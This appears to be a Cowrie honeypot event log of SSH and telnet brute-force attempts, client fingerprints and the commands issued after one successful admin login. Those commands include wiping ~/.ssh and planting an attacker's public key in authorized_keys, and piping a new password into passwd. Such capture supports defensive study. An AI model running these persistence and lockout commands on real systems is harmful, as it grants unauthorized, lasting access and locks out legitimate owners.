{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:55.749910Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58590,"dst_ip":"159.203.135.109","dst_port":23,"session":"7496c0b8b749","protocol":"telnet","message":"New connection: 162.55.233.176:58590 (159.203.135.109:23) [session: 7496c0b8b749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:56.477062Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123321","message":"login attempt [admin/admin123321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:56.862041Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58606,"dst_ip":"159.203.135.109","dst_port":23,"session":"499668454405","protocol":"telnet","message":"New connection: 162.55.233.176:58606 (159.203.135.109:23) [session: 499668454405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.020192Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58608,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ca37883514","protocol":"telnet","message":"New connection: 162.55.233.176:58608 (159.203.135.109:23) [session: 08ca37883514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.033522Z"}
{"eventid":"cowrie.session.closed","duration":34.510159969329834,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.113017Z","src_ip":"162.55.233.176","session":"878b7ed20898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58616,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f668ce6745","protocol":"telnet","message":"New connection: 162.55.233.176:58616 (159.203.135.109:23) [session: 26f668ce6745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.266738Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vs","message":"login attempt [root/Vs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.277442Z","src_ip":"213.209.159.158","session":"47c8de98e922","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.459470Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.462515Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.465279Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:57.737922Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58618,"dst_ip":"159.203.135.109","dst_port":23,"session":"0733b7df88b6","protocol":"telnet","message":"New connection: 162.55.233.176:58618 (159.203.135.109:23) [session: 0733b7df88b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:58.088345Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:58.307270Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:58.310652Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:58.585725Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:58.589158Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":47795,"dst_ip":"159.203.135.109","dst_port":22,"session":"417322fb3e5b","protocol":"ssh","message":"New connection: 103.170.173.26:47795 (159.203.135.109:22) [session: 417322fb3e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:58.862048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:58.866763Z","src_ip":"103.170.173.26","session":"417322fb3e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58632,"dst_ip":"159.203.135.109","dst_port":23,"session":"205e417ac3f6","protocol":"telnet","message":"New connection: 162.55.233.176:58632 (159.203.135.109:23) [session: 205e417ac3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:58.870499Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58634,"dst_ip":"159.203.135.109","dst_port":23,"session":"97056c952321","protocol":"telnet","message":"New connection: 162.55.233.176:58634 (159.203.135.109:23) [session: 97056c952321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:59.040058Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:59.142541Z","src_ip":"103.170.173.26","session":"417322fb3e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58638,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5307fcef491","protocol":"telnet","message":"New connection: 162.55.233.176:58638 (159.203.135.109:23) [session: c5307fcef491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:59.362711Z"}
{"eventid":"cowrie.session.closed","duration":37.65856409072876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:59.515183Z","src_ip":"162.55.233.176","session":"a289d95ab3cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.335530996322632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:59.837506Z","src_ip":"162.55.233.176","session":"5401738489b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.325843334198,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:00.032069Z","src_ip":"162.55.233.176","session":"14ce417237a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:00.273816Z","src_ip":"103.170.173.26","session":"417322fb3e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.18649768829346,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:00.364922Z","src_ip":"188.208.141.113","session":"18fba51ac321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57945942878723,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:00.471798Z","src_ip":"162.55.233.176","session":"e2d45f48cc91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:00.894680Z","src_ip":"213.209.159.158","session":"47c8de98e922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24966,"dst_ip":"10.17.0.5","dst_port":22,"session":"c66bd48220d3","protocol":"ssh","message":"New connection: 213.209.159.158:24966 (10.17.0.5:22) [session: c66bd48220d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:01.015530Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:01.551498Z","src_ip":"103.170.173.26","session":"417322fb3e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58654,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad20e6891392","protocol":"telnet","message":"New connection: 162.55.233.176:58654 (159.203.135.109:23) [session: ad20e6891392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:01.620529Z"}
{"eventid":"cowrie.session.closed","duration":31.21688175201416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:01.631165Z","src_ip":"162.55.233.176","session":"8a9ad62fd602","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":48295,"dst_ip":"159.203.135.109","dst_port":22,"session":"e07b6ef21803","protocol":"ssh","message":"New connection: 103.170.173.26:48295 (159.203.135.109:22) [session: e07b6ef21803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:01.823460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:01.828793Z","src_ip":"103.170.173.26","session":"e07b6ef21803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:02.102860Z","src_ip":"103.170.173.26","session":"e07b6ef21803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.18581819534302,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:02.422933Z","src_ip":"162.55.233.176","session":"a630054c7adf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.592604875564575,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:02.911207Z","src_ip":"188.208.141.113","session":"3543de0f4435","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:03.160897Z","src_ip":"213.209.159.158","session":"c66bd48220d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:03.164838Z","src_ip":"213.209.159.158","session":"c66bd48220d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:03.202126Z","src_ip":"103.170.173.26","session":"e07b6ef21803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.51799750328064,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:03.705731Z","src_ip":"162.55.233.176","session":"a465aa1a4cf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57966,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f19c45cfb1","protocol":"telnet","message":"New connection: 162.55.233.176:57966 (159.203.135.109:23) [session: 66f19c45cfb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:04.071289Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57976,"dst_ip":"159.203.135.109","dst_port":23,"session":"a08334fd6d0b","protocol":"telnet","message":"New connection: 162.55.233.176:57976 (159.203.135.109:23) [session: a08334fd6d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:04.180460Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:04.464343Z","src_ip":"103.170.173.26","session":"e07b6ef21803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57980,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6fcb51d37dd","protocol":"telnet","message":"New connection: 162.55.233.176:57980 (159.203.135.109:23) [session: c6fcb51d37dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:04.561718Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:04.806066Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:04.809942Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57994,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ef05b8a9972","protocol":"telnet","message":"New connection: 162.55.233.176:57994 (159.203.135.109:23) [session: 9ef05b8a9972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.007176Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58002,"dst_ip":"159.203.135.109","dst_port":23,"session":"72b1349123eb","protocol":"telnet","message":"New connection: 162.55.233.176:58002 (159.203.135.109:23) [session: 72b1349123eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.027442Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.091145Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50262,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aade38266d7","protocol":"telnet","message":"New connection: 188.208.141.113:50262 (10.17.0.5:23) [session: 1aade38266d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.412559Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.690103Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123321\\np3gBnXe0L79B\\np3gBnXe0L79B\"|passwd|bash","message":"CMD: echo -e \"admin123321\\np3gBnXe0L79B\\np3gBnXe0L79B\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.694924Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.699215Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.703180Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
